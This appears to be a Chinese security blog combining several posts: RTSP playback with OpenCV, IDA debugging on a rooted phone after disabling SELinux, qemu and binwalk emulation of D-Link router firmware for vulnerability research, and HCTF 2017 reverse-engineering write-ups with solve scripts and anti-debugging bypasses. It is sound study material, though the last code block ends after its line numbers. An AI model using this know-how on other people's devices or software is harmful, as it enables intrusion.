Play Rtsp Stream-opencv2

windows平台利用开源python库opencv2实现播放rtsp视频流

opencv2库安装

提供32 and 64-bit的python库
下载opencv2需要的库,可以在opencv的官方文档里找到需要哪些库。分别是numpy,
matplotlib,opencv。根据不同的python版本,windows版本下载相应的package,pip install即可。

Play Stream

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python
#-*- coding:utf-8 -*-

import cv2

cap = cv2.VideoCapture("[Your Rtsp url]")

print cap.isOpened()

while(cap.isOpened()):
ret,frame = cap.read()
cv2.imshow('frame',frame)
if cv2.waitKey(1) == ord('q'):
break
cap.release()
cv2.destroyAllWindows()

Mi-4C动态调试so库

调试环境:IDA6.8
手机:小米4C
系统版本:android 7.0

小米4C稳定版刷成开发版后,开启安全中心->应用管理->授权->开启root权限,ida远程attach要调试的程序,出现:
The debugger could not attach to the selected process.
This can perhaps indicate the process was just terminated,or that you don’t have the necessary privileges.

解决办法:

1
2
getenforce #查看selinux状态
setenforce 0 #临时关闭selinux

qemu环境搭建

qemu环境搭建

VMware的安装

固件分析利器binwalk

Kali下自带的binwalk并不是具备完整功能的binwalk,从github上获得binwalk以后,按照INSTALL.md里的说明安装就好,最后执行 sudo python setup.py install。最好安装所有的binwalk依赖项,这样binwalk在解包固件的时候,才能辨别固件的文件格式。

首先,确保更新源(/etc/apt/sources.list)没有问题,如果无法update,多更换一下源:

1
2
sudo apt-get update
sudo apt-get install build-essential autoconf git

Debian/Ubuntu用户一键安装所有依赖:

1
2
$ sudo ./deps.sh
python setup.py install

这样binwalk的安装就完成了。安装过程中哪个安装包出现问题,去github上git clone对应安装包,安装INSTALL.md或者README.md安装好即可。

安装qemu

1
2
git clone git://git.qemu-project.org/qemu.git
git submodule update --init dtc

由于相关的submodule pixman没有了,所以去github上下载后,按照INSTALL里的说明安装即可。

1
2
git clone https://github.com/servo/pixman.git
./configure && make && make install

以上都安装成功以后,进行相关依赖文件的安装:

1
2
3
sudo apt-get install libglib2.0 libglib2.0-dev
sudo apt-get install autoconf automake libtool
sudo ./configure --static &&sudo make &&sudo make install

即可安装成功。

交叉编译环境Buildroot

使用Buildroot搭建交叉编译环境,安装会有一个多小时,且每一次只能搭建一种交叉编译环境。比如一开始需要的是mips小端序的编译环境,如果后来需要mips大端序的编译环境,需要clean掉原环境,安装新环境。命令如下:

1
2
3
4
5
6
7
wget http://buildroot.uclibc.org/downloads/snapshots/buildroot-snapshot.tar.bz2
tar -jxvf buildroot-snapshot.tar.bz2
cd buildroot
sudo apt-get install libncurses5-dev patch
make clean
make menuconfig #对要生成的编译环境进行配置,注意将"Kernel Headers"改成机器环境的Kernel版本或者低于机器环境的Kernel版本。
sudo make #开始漫长的等待

漫长的等待以后,在output目录下会生成所有的文件,在

1
/output/host/usr/bin

目录下能找到编译成功的编译器mips-linux-gcc(以编译mips大端序环境为例)

qemu user-mode下运行文件

静态文件

生成

1
mips-linux-gcc -c test.c -o test -static

运行

1
2
cp $(which qemu-mips) ./
./qemu-mips test

依赖动态库的文件

生成

1
mips-linux-gcc -c test.c -o test

运行

1
2
cp $(which qemu-mips) ./
sudo chroot . ./qemu-mips test #注意:当前目录应该是拥有相关嵌入式系统文件的根目录,因为依赖动态库文件的运行会根据当前系统环境变量去寻找依赖的动态库加载程序

解释一下$(which qemu-mips)是qemu安装好以后,相关bin文件的默认目录,可以看看其所在路径:

1
echo $(which qemu-mips) #/usr/local/bin/qemu-mips

qemu system-mode

这种模式下,就和VMware安装一个操作系统感觉一样,会运行一个独立的操作系统。首先我们下载mips虚拟机,访问http://people.debian.org/~aurel32/qemu/,选择内核文件vmlinux-2.6.32-5-4kc-malta和磁盘镜像debian_squeeze_mips_standard.qcow2

1
$ sudo qemu-system-mips -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=ttyS0" -nographic

即可启动mips虚拟机。用户名:root,密码:root。启动之前需要配置mips系统网络,qemu-system-mips命令和上面那个不同,具体的可以网上百度和参考资料。

需要mips虚拟机启动的文件,需要通过scp命令上传到mips虚拟机上执行,或者在mips虚拟机上下载。

简单测试

以D-link的固件为例,《揭秘家用路由器0day漏洞挖掘技术》一书资源在http:/www.boardview.com.cn/26392注册了即可下载。

下载固件

google搜索:

1
inurl:dlink + (firmware or download) + (ftp or ftp2)

能搜到dlink官网,能在官网下载固件,也可以从ftp服务上下载。

ftp://ftp2.dlink.com/PRODUCTS/DIR-605L/REVA/DIR-605L_FIRMWARE_1.13.ZIP为例。

解包固件

1
2
3
4
unzip DIR-605L_FIRMWARE_1.13.ZIP
binwalk -e dir605L_FW_113.bin
cd _dir605L_FW_113.bin.extracted/
cd squashfs-root-0/

就来到了固件的系统根目录,ls一下能看到熟悉的根目录下的相关内容。

嵌入式系统的系统命令均指向BusyBox的符号链接,BusyBox是一个经过裁剪的Shell。

1
file ./bin/busybox

可以看到解开固件的系统架构,以我的为例,是:
./bin/busybox: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked (uses shared libs), corrupted section header size

1
2
cp $(which qemu-mips) ./
sudo chroot . ./qemu-mips ./bin/ls #示例

即可运行相关程序(不包括依赖硬件的程序)

运行web服务

在固件解包目录/bin/boa是启动80端口的web服务,根据每次运行时core dump,使用LD_PRELOAD环境变量hook相关函数的方式启动boa程序,这个示例是揭秘0day安全漏洞一书上的示例,故更详细的说明可以看此书。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include<stdio.h>
#include<stdlib.h>
#define MIB_IP_ADDR 170
#define MIB_HW_VER 0x250
#define MIB_CAPTCHA 0x2C1
int apmib_init(void)
{
return 1;
}
int fork(void)
{
return 0;
}
void apmib_get(int code,int *value)
{
switch(code)
{
case MIB_HW_VER:
*value = 0xF1;
break;
case MIB_IP_ADDR:
*value = 0x7F000001;
break;
case MIB_CAPTCHA:
*value = 1;
break;
}
return ;
}
1
2
./mips-linux-gcc -fPIC -shared apmib.c -o apmib-ld.so -ldl
sudo chroot . ./qemu-mips -E LD_PRELOAD="./apmib-ld.so" ./bin/boa

运行以后

1
ps aux | grep 80

可以看到80端口服务已经开启,但是直连没有相应,问题还在进一步处理之中。

远程动态调试

1
sudo chroot . ./qemu-mips -E LD_PRELOAD="./apmib-ld.so" -g [port] ./bin/boa

ida 选择remote gdb debugger,debug options里和远程调试x86 x64linux文件一样的设置方法,确定以后,开始调试即可。

目前遇到的困难

80端口无响应

正尝试从system-mode下运行,以及分析程序代码。

部分固件无法解开

无法解开可能是文件格式或者其他方面(加密等)的原因

参考资料:《揭秘家用路由器0day漏洞挖掘技术》

hctf2017-level1Tolevel3-reverse

level1-Evr_Q

思路:程序有TLS反调试和NtQueryInformationProcess的反调试,过了就能动调了。首先是Check输入的UserName,接着Check输入的PassWord,长度要满足35,接着对PassWord统一进行了异或0x76,我将35长度的字符串分为5组,程序紧接着对中间三组分别进行了简单的操作,如下图,最后和硬编码的值比较。

Check_UserName函数:

Check_UserName

对中间三组的分别处理:

Evr_Q2

Evr_Q3

Evr_04

写脚本得flag,第一个脚本求UserName,第二个求flag,写第二个的时候爆破的范围小了,导致有两位数出来是错的,浪费了很多时间:

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python
#-*- coding:utf-8 -*-

u1 = [164,169,170,190,188,185,179,169,190,216,190]
username = ''
for i in range(len(u1)):
for x in range(32,128):
tmp = ((((i ^ 0x76) - 52) ^ 0x80) + 43) ^ x
if tmp == u1[i]:
username += chr(x)
break
#print username
print username[::-1]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#include<stdio.h>

BYTE cmp_ans[35] = {0x1E,0x15,0x02,0x10,0x0D,0x48,0x48,0x6F,0xDD,0xDD,0x48,0x64,0x63,0xD7,0x2E,0x2C,0xFE,0x6A,0x6D,0x2A,0xF2,0x6F,0x9A,0x4D,0x8B,0x4B,0xCA,0xBF,0x42,0x10,0x46,0x12,0x43,0x41,0x0B};

int main()
{
BYTE a1[8]={0,};
BYTE ans[8] = {0,};
int i,j;
for(i=0;i<7;i++)
{
ans[i] = char(cmp_ans[i] ^ 0x76);
}
printf("%s\n",ans);
for(i=28;i<35;i++)
{
ans[i-28] = char(cmp_ans[i] ^ 0x76);
}
printf("%s\n",ans);
for ( i = 0; i < 7; ++i )
{
for(int x=32;x<128;x++)
{
*(BYTE *)(i + a1) = x ^ 0xAD;
*(BYTE *)(i + a1) = 2 * *(BYTE *)(i + a1) & 0xAA | ((*(BYTE *)(i + a1) & 0xAA) >> 1);
if (*(BYTE *)(i + a1) == cmp_ans[7+i])
{
ans[i] = x;
// break;
}
}
}
for(i=0;i<7;i++)
{
ans[i] = BYTE(ans[i] ^ 0x76);
}
printf("%s\n",ans);
for ( i = 0; i < 7; ++i )
{
for(int x=32;x<128;x++)
{
*(BYTE *)(i + a1) = x ^ 0xBE;
*(BYTE *)(i + a1) = 4 * *(BYTE *)(i + a1) & 0xCC | ((*(BYTE *)(i + a1) & 0xCC) >> 2);
if (*(BYTE *)(i + a1) == cmp_ans[14+i])
{
ans[i] = x;
// break;
}
}
}
for(i=0;i<7;i++)
{
ans[i] = BYTE(ans[i] ^ 0x76);
}
printf("%s\n",ans);
for ( i = 0; i < 7; ++i )
{
for(int x=0;x<128;x++){
*(BYTE *)(i + a1) = x ^ 0xEF;
*(BYTE *)(i + a1) = 16 * *(BYTE *)(i + a1) & 0xF0 | ((*(BYTE *)(i + a1) & 0xF0) >> 4);
if (*(BYTE *)(i + a1) == cmp_ans[21+i])
{
printf("\n");
printf("%c %x %x\n",x,*(BYTE *)(i + a1),cmp_ans[21+i]);
ans[i] = x;
// break;
}
}
}
for(i=0;i<7;i++)
{
ans[i] = BYTE(ans[i] ^ 0x76);
}
printf("%s\n",ans);
system("pause");
}

level2-ez_crackme

第二个逆向,我的方法可能是解法里面最笨的(想看其他表哥的做法233),跟程序流程走了7个多小时,在快放弃的时候,终于看到了cmp,瞬间出了一口气。

思路:个人做法就是下条件断点,但是条件断点只有四个,要根据程序流程灵活取消条件断点和下新的条件断点,在输入flag的地方下4字节断点,反复多试几次可以很快确定,程序取的第一个字符是下标为19的字符,然后跟踪字符,适当下读写断点,注意超过4个,条件断点就无效了,有耐心的慢慢跟下去,在跟的过程中,看逻辑,猜算法,有耐心,如果算法猜对了,将很节约时间。由于不好截图,接下来直接说明算法流程。

共三层变换

第一层

算法首先将输入的32个字符,以长度为19的循环规律(第一个字符就是下标为19的字符),放到申请的堆中,具体规律如下代码:

1
2
3
for i in range(len(fake_flag)):
tmp = (19 * (i+1)) % 32
transform_flag += fake_flag[tmp]

第二层

将新得到的32个字符,从字符串头部开始,取第一个字符的低5位左移3位,和第二个字符的高3位右移5位以后结合在一起,然后一直到字符结束,最后取最后一个字符的低5位左移3位和第一个字符的高3位右移5位以后结合在一起。代码如下:

1
2
3
4
5
6
7
for i in range(transform_flag_len):
first = ord(transform_flag[i])
second = ord(transform_flag[(i+1)%transform_flag_len])
lower = ((first & 0x1F) << 3) & 0xFF
higher = ((second & 0xE0) >> 5) & 0xFF
tmp = lower + higher
transform_again_flag.append(hex(tmp))

第三层

将第二层得到的新32个字符,和一个table里的32个字符一一异或,异或以后的值加上对应的下标,得到新的32个字符,与程序中最后的32个字符比较,成功,则为正确的输入。table里的32个字符是根据假的输入,得到的输出,反过去求的table。最后比较的32个字节也是改写了判定条件,动调得到的32个字节。

1
2
3
4
for i in range(transform_flag_len):
tmp = table1[i] ^ int(transform_again_flag[i][2:],16)
tmp = tmp - i
table2.append(hex(tmp))

最后附上自己输入假的flag,正向推导获得一些值的代码,和逆向求解flag的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#!/usr/bin/env python
#-*- coding:utf-8 -*-

fake_flag = '1234567890abcdefghijABCDEFGHIJop'
transform_flag = ''
table1 = [0x8F,0x14,0xF3,0xE9,0x61,0xFB,0x76,0xDD,0xF5,0xCD,0x89,0x50,0xC9,0xB0,0x9F,0xC7,0x4C,0xA7,0x52,0x49,0xC3,0x58,0xC5,0xCC,0xB5,0xEF,0x4A,0x03,0x38,0xF1,0xFD,0x85]
table2 = []
ttable2 = ['0xde', '0xad', '0xbe', '0xef', '0xde', '0xad', '0xbe', '0xef', '0xde', '0xad', '0xbe', '0xef', '0xde', '0xad', '0xbe', '0xef', '0xde', '0xad', '0xbe', '-0x11', '0xde', '0xad', '0xbe', '-0x11', '0xde', '0xad', '0xbe', '-0x11', '0xde', '0xad', '0xbe', '-0x11']
cmp_table = [0xF7,0x0C,0x3B,0x81,0x08,0x49,0x86,0x0D,0x4D,0x9D,0x8B,0x20,0x80,0x8B,0x65,0x45,0xDC,0x0C,0x29,0xCB,0x79,0x60,0x2D,0x9D,0xC5,0x7D,0xC2,0xD9,0x4B,0x78,0x27,0x4C]
transform_again_flag = []

#-----------------正向推导代码------------------------

'''
for i in range(len(fake_flag)):
tmp = (19 * (i+1)) % 32
transform_flag += fake_flag[tmp]
print transform_flag

transform_flag_len = len(transform_flag)
for i in range(transform_flag_len):
first = ord(transform_flag[i])
second = ord(transform_flag[(i+1)%transform_flag_len])
lower = ((first & 0x1F) << 3) & 0xFF
higher = ((second & 0xE0) >> 5) & 0xFF
tmp = lower + higher
transform_again_flag.append(hex(tmp))

print transform_again_flag,len(transform_again_flag)

for i in range(transform_flag_len):
tmp = table1[i] ^ int(transform_again_flag[i][2:],16)
tmp = tmp - i
table2.append(hex(tmp))
print table2
'''

#-----------------正向推导代码------------------------

#-----------------逆向求解flag------------------------

for i in range(len(cmp_table)):
if '-' in ttable2[i]:
tmp = int(ttable2[i][3:],16) * (-1)
else:
tmp = int(ttable2[i][2:],16)
tmp = tmp + i
tmp = tmp ^ cmp_table[i]
transform_again_flag.append(hex(tmp))

tmp = int(transform_again_flag[31][2:],16)
first = ((tmp & 0xF8) >> 3) & 0xff #最后一个字符的低5位
second = ((tmp & 0x07) << 5) & 0xff #第一个字符的高三位
tmp = int(transform_again_flag[0][2:],16)
first = ((tmp & 0xF8) >> 3) & 0xff # 第一个字符的低5位
transform_flag += chr(second | first)


for i in range(len(transform_again_flag)):
tmp = int(transform_again_flag[i][2:],16)
first = ((tmp & 0xF8) >> 3) & 0xff #第一个字符的低5位
second = ((tmp & 0x07) << 5) & 0xff #第二个字符的高3位
if i != 0:
transform_flag += chr(last_second | first)
last_first = first
last_second = second

print transform_flag

flag = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
for i in range(len(transform_flag)):
flag[(19 * (i+1)) % 32] = transform_flag[i]
print ''.join(flag)

#-----------------逆向求解flag------------------------

level3-Are_U_OK

思路:该题使用了proc/self/status的traceID反调试,以及fork子进程的方式反调(这里是不是反调忘了),使用了ptrace的编程方法,我是静态写脚本破的题目,动调没去调试,因为估计要设计到内核,关键函数的进入,我想应该就是从内核进去的。

类rc4算法解密隐藏代码

Are_U_OK1

红色标注的地方就是需要解密的函数,图中已经解密了,所以显示正常。

类rc6算法获取flag

对解密以后的函数进行交叉引用,发现调用其的位置,在没有解密前是没有的。

Are_U_OK2

分析解密以后的代码,是类rc6算法,rc6的代码很长,就用一张图表示一下好了。

Are_U_OK3

从rc6出来以后的值和硬编码的两组16字节比较,相同,则成功。附上类rc4和求解flag的代码。

类rc4解密隐藏代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#include<Windows.h>
#include<stdio.h>
#include<string.h>

BYTE hide_func[] = {0x55,0x0C,0xB3,0x6E,0xCF,0x2B,0xC0,0x03,0x96,0x66,0xC8,0x14,0x32,0x6D,0x3F,
0xE6,0x17,0x83,0xEA,0xCD,0x04,0x2B,0xF1,0xCA,0x74,0xAC,0xE2,0x85,0x8B,0x29,0x20,
0xC3,0x48,0xCB,0xD3,0xF0,0x1C,0x24,0xF7,0xDE,0xF9,0xED,0x36,0x3A,0xC8,0x94,0xAB,
0x6D,0x62,0x3B,0xD7,0x09,0xAB,0xCC,0xE0,0x4B,0x03,0x5E,0x69,0xE1,0xC3,0x7D,0x26,
0x4F,0xA6,0x5E,0xC2,0x89,0x81,0xCA,0x14,0x91,0xCE,0x02,0x35,0x2A,0x56,0x33,0xA4,
0x3D,0x2B,0x13,0xE2,0x70,0xC8,0xE6,0x03,0x44,0xFE,0x86,0x31,0x2F,0x56,0xD3,0xD1,
0x07,0x71,0x9C,0x1F,0x37,0x28,0x30,0x6C,0x77,0x72,0x1C,0x64,0xF1,0x06,0xDA,0x6A,
0x52,0xE8,0x4E,0x37,0x47,0x24,0x6A,0xA4,0x7D,0xE4,0x82,0x20,0xDD,0xCA,0xD3,0xED,
0x18,0x6A,0x06,0x94,0x7E,0xCB,0x7D,0x8F,0x9A,0xB3,0xBD,0x19,0x07,0x81,0x7B,0xCF,
0xE9,0x66,0x7C,0xB9,0x72,0x86,0x01,0xF8,0x1A,0xC9,0x79,0xD4,0x34,0xCD,0x8D,0xEB,
0x99,0x14,0xAB,0xA1,0xE8,0x73,0x17,0x25,0xC9,0xED,0xE1,0xE7,0xF5,0x9A,0xF1,0x59,
0xA5,0xA2,0xEA,0x43,0x7E,0x71,0x13,0x77,0xB5,0x70,0x16,0x48,0xA3,0x3A,0x5D,0xBE,
0xD5,0x0C,0xBD,0x12,0x10,0x41,0x45,0xFB,0xAC,0xC0,0x0C,0x78,0x8F,0x86,0xF8,0x60,
0x64,0xF6,0xB3,0xDF,0xF8,0x5E,0xEA,0x51,0xE4,0xC4,0x4E,0xB5,0x6F,0xC7,0x7B,0xA6,
0xBE,0xF5,0x07,0x85,0xE0,0x59,0xDE,0x1B,0xB8,0x32,0xC9,0xBE,0x48,0xF1,0xE4,0x8C,
0x16,0xDF,0x10,0x6F,0x04,0x82,0x5F,0xC4,0x19,0x63,0xFF,0x74,0x03,0x6D,0x75,0x31,
0x9F,0xB5,0x56,0x06,0x18,0xBB,0x1B,0x06,0xFA,0x3B,0x7B,0x60,0x0B,0x8B,0x2F,0xF8,
0x72,0x49,0x60,0xAD,0x80,0x74,0xBF,0x6F,0xD7,0x9E,0xB0,0x02,0xE7,0xF7,0x2C,0xDF,
0x4B,0xC7,0xC5,0xC5,0x92,0x10,0xC5,0xE4,0xDD,0x5F,0x37,0x5B,0xA3,0x67,0xC2,0x28,
0xBC,0x1B,0x26,0x55,0x9C,0x02,0x15,0xAD,0x17,0x62,0x61,0xF8,0x3F,0xA6,0x46,0x92,
0x53,0x68,0xF6,0x41,0x9C,0x00,0xF8,0x0E,0xAC,0x58,0xC2,0xAC,0x08,0xD5,0x72,0xD2,
0x6E,0x7B,0x1C,0x5B,0x2F,0x18,0xBD,0x30,0xEB,0x72,0x5C,0xC5,0xF9,0x5D,0xDB,0x67,
0x11,0xC8,0xB2,0x99,0x5A,0x50,0xB1,0xE8,0xD7,0x0B,0xCF,0xA0,0xF0,0xF1,0x19,0xEC,
0x3E,0x52,0x2F,0x01,0x6C,0x31,0xA6,0x0E,0xF5,0x6D,0x7B,0x69,0x5C,0x31,0xFF,0xD3,
0x91,0x62,0x89,0x9C,0x4B,0xFF,0x48,0x5F,0xD7,0xBF,0x81,0x5F,0x96,0xEB,0x28,0xC1,
0xAC,0xA2,0x3C,0xCF,0x0E,0xD3,0x67,0x68,0x9B,0x25,0x71,0x5A,0x09,0x67,0xE0,0x57,
0x15,0x5E,0x04,0x9B,0x08,0x99,0xEA,0x8A,0x8C,0x29,0x13,0x90,0xF3,0x87,0xB8,0xC4,
0xB0,0xA6,0x40,0xDC,0xB5,0x6B,0x17,0x6A,0xF3,0x34,0x88,0x1B,0x48,0xA9,0x95,0x19,
0x22,0xF0,0x83,0x5E,0x92,0xB4,0x3A,0xA6,0xF5,0x9B,0x47,0x6E,0x13,0x9A,0x97,0xF9,
0xBB,0xEF,0x41,0x14,0xE4,0x7A,0xA9,0x04,0x1E,0x9C,0xDC,0x15,0x87,0xA7,0xBC,0x99,
0x0E,0xB7,0xDB,0x58,0x28,0x18,0x74,0xC2,0x4C,0xDA,0x4D,0xF6,0x54,0xE2,0x43,0xAE,
0x8B,0xC6,0xA5,0x7B,0xD9,0xA8,0x5B,0x56,0x78,0x9D,0x40,0x03,0x50,0xD7,0x28,0xB6,
0x17,0x8B,0xC1,0x82,0x75,0x78,0x55,0x64,0xDA,0x12,0x7E,0x37,0xA3,0x44,0x98,0x7C,
0x9D,0xF8,0x83,0x5D,0xBB,0x3A,0xEB,0x86,0xB0,0x63,0x1A,0x94,0xEF,0x7B,0x5C,0x5A,
0x2C,0xD3,0x7C,0xA7,0x7F,0x79,0x08,0x7E,0x5B,0x15,0x5B,0x40,0x80,0x78,0x2E,0xEE,
0x35,0x16,0x41,0xE0,0x7C,0x14,0x3B,0x21,0x47,0x76,0xA8,0x69,0xE1,0x74,0x31,0x26,
0x83,0xA7,0x5E,0xC2,0x02,0xC1,0xC6,0x9D,0x97,0x87,0x20,0x34,0x2A,0xE1,0xBF,0x56,
0x0D,0x5F,0x69,0xC1,0x05,0x37,0x18,0xCE,0x25,0x14,0xFC,0xCE,0x67,0xD5,0x56,0x99,
0x73,0x0B,0x6B,0xE4,0x80,0x5C,0xFD,0x6D,0x58,0x06,0xF3,0x64,0x74,0xDB,0xA1,0x61,
0x53,0x9E,0x25,0xFA,0xE4,0x5E,0x95,0xA4,0x01,0x9E,0x5A,0x19,0xA7,0xE9,0x2C,0xF9,
0x20,0xAD,0x83,0x7C,0x80,0xB7,0x3F,0x30,0x35,0xAD,0xF5,0xCD,0x8D,0xDA,0x65,0x30,
0x16,0x66,0xF7,0x3C,0x9E,0xFB,0x43,0xDB,0xE5,0xF6,0x05,0x3F,0x42,0xE4,0xA9,0xEB,
0xA9,0x14,0xAB,0xA1,0xA2,0x26,0xFA,0x52,0xB3,0xEA,0x96,0x8C,0x8F,0x51,0x8B,0x52,
0xA4,0xDC,0xB8,0xAA,0x40,0x0D,0x2C,0x31,0x3C,0x17,0xF2,0x3F,0xD8,0x19,0x5C,0x80,
0xEA,0x08,0xDF,0x46,0x2B,0x3A,0x5E,0xFA,0xD8,0xBA,0xE4,0x86,0x70,0x79,0x40,0x60,
0x78,0xF6,0xB3,0xDF,0xF8,0x19,0x81,0x2A,0xE7,0xC5,0x3A,0xCF,0x06,0xF8,0x57,0x9B,
0x7F,0xFB,0x5E,0x7B,0xE0,0x59,0xAA,0x15,0x64,0xCD,0xE6,0xC8,0x44,0x9C,0xF6,0x8D,
0x16,0x68,0x18,0x6F,0xE8,0x83,0x5F,0xC4,0x94,0x6D,0x92,0x7A,0x02,0x6D,0x0B,0xBF,
0xFE,0xB7,0x57,0x06,0x64,0x32,0xD9,0x8D,0x70,0x44,0x53,0x9F,0xF4,0x02,0x65,0xAE,
0x6C,0xFF,0x14,0xD7,0x0B,0x1F,0xC5,0xD0,0xA3,0x61,0x4E,0x59,0xEB,0x9A,0x22,0xDE,
0x4B,0x39,0x4F,0xCD,0x92,0xFC,0xC4,0xE4,0xDD,0x5A,0x6C,0x1F,0x8B,0x9A,0xB4,0x15,
0xBE,0x1B,0x02,0x55,0x9C,0x02,0x17,0xBC,0x7E,0xDC,0x61,0xF8,0x49,0xA8,0x2B,0xB0,
0x52,0x68,0x82,0x4F,0xE8,0x7B,0x47,0x0E,0xDA,0x22,0xA7,0xD7,0x1F,0xD4,0x06,0xA8,
0x11,0x00,0x03,0x5A,0x59,0x62,0xC6,0x5A,0x91,0xAD,0x28,0xBF,0xFE,0x28,0xA1,0x70,
0x66,0xB2,0xB9,0x66,0x67,0x24,0xB7,0x81,0xF5,0x0A,0xCF,0xD2,0xC5,0x1A,0x81,0x86,
0x29,0x53,0x98,0x75,0x62,0xB4,0xB5,0x0F,0xF5,0x19,0x7A,0xB8,0x50,0x18,0xD2,0xEA,
0xE7,0xD8,0x81,0x9C,0xAB,0xFE,0x48,0x5F,0x5A,0x63,0x8F,0xFA,0x69,0xEB,0x28,0xB5,
0xA2,0x42,0xC3,0xB5,0x01,0xA6,0x1C,0x12,0xF3,0x59,0x0B,0xA5,0x7F,0x1D,0xF3,0xAD,
0xA2,0x2A,0x02,0x06,0x2B,0x98,0xEA,0xFE,0x18,0x4A,0x60,0xB3,0xF2,0xF1,0x57,0x36,
0x98,0xA8,0x76,0x99,0xC3,0x5C,0x6B,0x1D,0x96,0x1A,0xB6,0x0C,0xC4,0x92,0x51,0x7D,
0x80,0xB4,0x12,0x69,0xE4,0xCE,0x6D,0xCD,0xFA,0x9A,0x3B,0x14,0x7A,0x34,0x60,0x4E,
0x31,0xE9,0xFC,0x0B,0xE5,0x7A,0xDD,0x96,0x69,0xE7,0xC7,0x14,0xF1,0x08,0xB1,0xE0,
0x5C,0xC3,0x61,0x5F,0x04,0xDD,0xC2,0x86,0x96,0x0D,0xB2,0xBE,0xDD,0x13,0x46,0xB9,
0xA8,0xC9,0x12,0x0F,0x95,0xAB,0xF0,0xE1,0x0E,0x30,0x81,0x05,0xAC,0x78,0x9F,0xC0,
0x22,0xB8,0x20,0x72,0x00,0x83,0x8F,0x04,0x53,0x97,0x66,0x80,0xD5,0xFE,0x28,0xC6,
0xD8,0x2F,0x39,0x6A,0x44,0xB1,0xEB,0x0F,0xF2,0xCE,0x28,0x6B,0x10,0x33,0xD7,0x5C,
0x41,0xE4,0x82,0x27,0x97,0xB2,0x49,0x3F,0x1F,0x19,0xA1,0xF7,0xE7,0x78,0x28,0x3E,
0xF5,0xA1,0xBF,0xDD,0x7C,0x11,0xFB,0x69,0x22,0x82,0x1E,0xF5,0xD6,0x74,0x31,0xE6,
0x2B,0x10,0xA0,0xF5,0xC1,0x08,0x0C,0xAB,0xD2,0x42,0xBE,0xCB,0x3D,0x19,0xCF,0x2C,
0xF2,0x2B,0xD3,0xF6,0x4F,0xD7,0x1D,0x03,0x51,0xA2,0x8E,0xB9,0x8F,0x67,0xB3,0x99,
0x07,0xB1,0x5C,0x21,0x28,0xD3,0x30,0xF5,0xEF,0x74,0x59,0x3F,0x3C,0xDB,0xF4,0x2F,
0xBD,0x61,0xDA,0xB2,0x2F,0x52,0x5B,0x13,0x77,0xA6,0xB6,0x5F,0xD2,0xCA,0x2D,0x0F,
0x9A,0x61,0x00,0x39,0x48,0x35,0x69,0x7B,0x48,0x2F,0xC6,0xDE,0xF7,0x49,0x3A,0x68,
0x27,0x06,0x7C,0x51,0x8A,0xEA,0x43,0xDB,0x5B,0x36,0x86,0xFF,0x43,0x03,0x28,0x9F,
0xBA,0x15,0xEB,0x36,0x52,0x86,0xFF,0x33,0xD2,0xFD,0x97,0x8C,0xCF,0x5A,0x3F,0xC6,
0x5A,0xCB,0x9D,0x44,0x7F,0x71,0x53,0x30,0x33,0xB8,0x77,0x23,0x36,0x17,0x5C,0xBE};

unsigned char key[] = {0x5A,0x98,0x2C,0x36,0x5F,0xEA,0x90,0xC0,0xB1,0x51,0x71,0x1A,0x32,0xD5,0x86,0x4B,
0x4F,0x33,0xB7,0xD9,0x15,0xF6,0x5B,0x99,0x10,0xBD,0x81,0x2E,0x73,0x33,0xDE,0x07};


void rc4_init(unsigned char* IV, unsigned char* Key, int Len)
{
int i = 0, j = 0;
unsigned char k[256] = {0};
unsigned char tmp = 0;
for (i = 0; i<256; i++)
{
IV[i] = i;
k[i] = Key[i%Len];
}
for (i = 0; i<256; i++)
{
j = (j + IV[i] + k[i]) % 256;
tmp = IV[i];
IV[i] = IV[j];//交换IV[i]和IV[j]
IV[j] = tmp;
}
}

void rc4_crypt(unsigned char* IV, unsigned char* Data, int Len)
{
int i = 0, j = 0, t = 0;
long k = 0;
unsigned char tmp;
int row = 0;
for (k = 0; k<Len; k++,row++)
{
i = (i + 1) % 256;
j = (j + IV[i]) % 256;
// tmp = IV[i];
// IV[i] = IV[j];//交换IV[x]和IV[y]
// IV[j] = tmp;
t = (IV[i] + IV[j]) % 256;
Data[k] ^= IV[t];
if (row % 16 == 0) printf("\n");
printf("%02X ",Data[k]);
}
printf("\n");
}

int main()
{
unsigned char IV[257];
rc4_init(IV,key,32);
int hideFuncLen = strlen((char *)hide_func);
rc4_crypt(IV,hide_func,1215);
system("pause");
return 0;
}

类rc6算法获取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
